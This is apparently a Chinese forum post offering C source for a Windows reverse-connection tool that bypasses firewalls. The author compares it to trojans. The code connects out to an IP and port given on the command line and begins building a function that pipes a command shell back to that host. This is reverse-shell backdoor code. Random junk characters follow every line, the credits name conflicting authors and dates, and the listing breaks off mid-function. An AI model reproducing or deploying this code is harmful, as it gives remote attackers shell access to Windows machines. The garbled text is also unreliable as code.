这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 S|4/C
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/* ============================== |M>k &p,B-
Rebound port in Windows NT gpvj'Ri7V
By wind,2006/7 xa0%;nFKe
===============================*/ TXl9c6
#include c] R![sa
#include 3&Rqz9 W
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#pragma comment(lib,"wsock32.lib") @N{Ht)1r
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void OutputShell(); q;PzB4#
SOCKET sClient; 3D
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char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; (3r,PS@Qq@
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void main(int argc,char **argv) G&3<rT3Ib
{ <sB45sNbU`
WSADATA stWsaData; qAik$.
int nRet; =F[,-B~
SOCKADDR_IN stSaiClient,stSaiServer; 2=M!lB
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if(argc != 3) s?#lhI
{ bd*(]S9d
printf("Useage:\n\rRebound DestIP DestPort\n"); O~OWRJ@p
return; A3pQ?d[
} @BhAFv,7
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WSAStartup(MAKEWORD(2,2),&stWsaData); =I}V PxhE7
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ]qHO{b4k
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stSaiClient.sin_family = AF_INET; 2A
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stSaiClient.sin_port = htons(0); BVp.A]
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); K3D $
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) ahv=HWX k
{ oA@^N4PD
printf("Bind Socket Failed!\n"); mXaUWgO
return;
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} += ~}PF
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stSaiServer.sin_family = AF_INET; &L~rq)r/&
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); ?.ihWbW_
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); qW >J-,61/
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) &>fd:16
{ e"/X*xA
printf("Connect Error!"); rep"xV&|>o
return; w! 7/;VJ3d
} dS=,. }
OutputShell(); |c/rHEZ
}
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void OutputShell() *60)Vo.=
{ y-#tU>P
char szBuff[1024]; gNQJ:!
SECURITY_ATTRIBUTES stSecurityAttributes; }!Lr!eALr
OSVERSIONINFO stOsversionInfo; h!~yYNQ"
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; !:{_<